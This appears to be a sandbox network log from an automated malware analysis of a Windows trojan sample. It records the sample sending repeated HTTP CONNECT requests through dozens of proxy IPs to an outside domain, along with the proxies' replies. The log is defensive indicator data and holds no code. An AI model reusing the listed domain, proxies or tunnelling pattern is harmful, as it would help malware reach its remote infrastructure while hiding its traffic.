Feb 23, 2024 14:28:47.492408991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.601263046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:05.600943089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1825	192.168.2.8	55314	64.43.89.128	6387	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.472070932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.828592062 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1826	192.168.2.8	55134	142.54.232.6	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.512702942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1827	192.168.2.8	54231	145.239.2.102	42147	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.615303040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.179411888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1828	192.168.2.8	54548	162.214.162.180	55189	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.627590895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.679358006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1829	192.168.2.8	55316	175.183.82.221	8197	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.640417099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1830	192.168.2.8	51974	95.143.12.201	60505	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.640891075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1831	192.168.2.8	51956	82.146.37.145	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.640892029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.679371119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.694964886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:07.400958061 CET	831	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:29:07 GMT Server: Apache/2.4.52 (Debian) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Debian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1832	192.168.2.8	55349	172.67.182.22	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.646466017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.737096071 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1833	192.168.2.8	55315	81.69.243.126	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.682828903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1834	192.168.2.8	54640	148.72.177.90	63218	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.701282024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.064801931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.398325920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.065846920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.289261103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.695219040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.507255077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1835	192.168.2.8	55237	82.97.215.240	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.718107939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.065702915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.288937092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1836	192.168.2.8	55340	193.239.56.84	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.752298117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1837	192.168.2.8	55091	184.178.172.14	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.752454996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1838	192.168.2.8	55342	212.31.100.138	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.753680944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1839	192.168.2.8	55341	80.80.162.81	10805	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.753931999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1840	192.168.2.8	54630	109.107.181.245	30052	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.754117012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1841	192.168.2.8	55327	3.112.35.208	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.754460096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.053735018 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1842	192.168.2.8	54912	171.248.222.60	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.837982893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1843	192.168.2.8	55096	213.170.117.150	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.838150024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.991758108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1844	192.168.2.8	52140	85.172.0.30	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.838632107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.991770983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1845	192.168.2.8	55100	158.181.22.139	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.848592997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.991967916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1846	192.168.2.8	54530	160.251.19.23	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.857856035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1847	192.168.2.8	55339	8.217.118.156	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.857965946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679289103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.695331097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.694957972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.382386923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.210566998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:56.882230043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:04.225943089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:16.132287979 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1848	192.168.2.8	55357	184.170.245.148	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.858622074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1849	192.168.2.8	54564	194.233.78.142	39067	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.879169941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679447889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.882750988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.382709026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1850	192.168.2.8	55366	45.14.174.180	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.891319036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.978791952 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1851	192.168.2.8	55343	49.228.131.169	5000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.915219069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1852	192.168.2.8	54685	141.94.174.6	47913	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.915219069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1853	192.168.2.8	55153	162.240.22.184	43494	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.933989048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.992027044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.085473061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.101033926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:06.100967884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:18.206414938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1854	192.168.2.8	54693	178.159.39.153	8118	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.934166908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.885584116 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1855	192.168.2.8	54941	142.54.236.97	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.941608906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1856	192.168.2.8	55347	103.35.153.74	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:41.941695929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1857	192.168.2.8	55119	202.58.199.229	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.086652994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
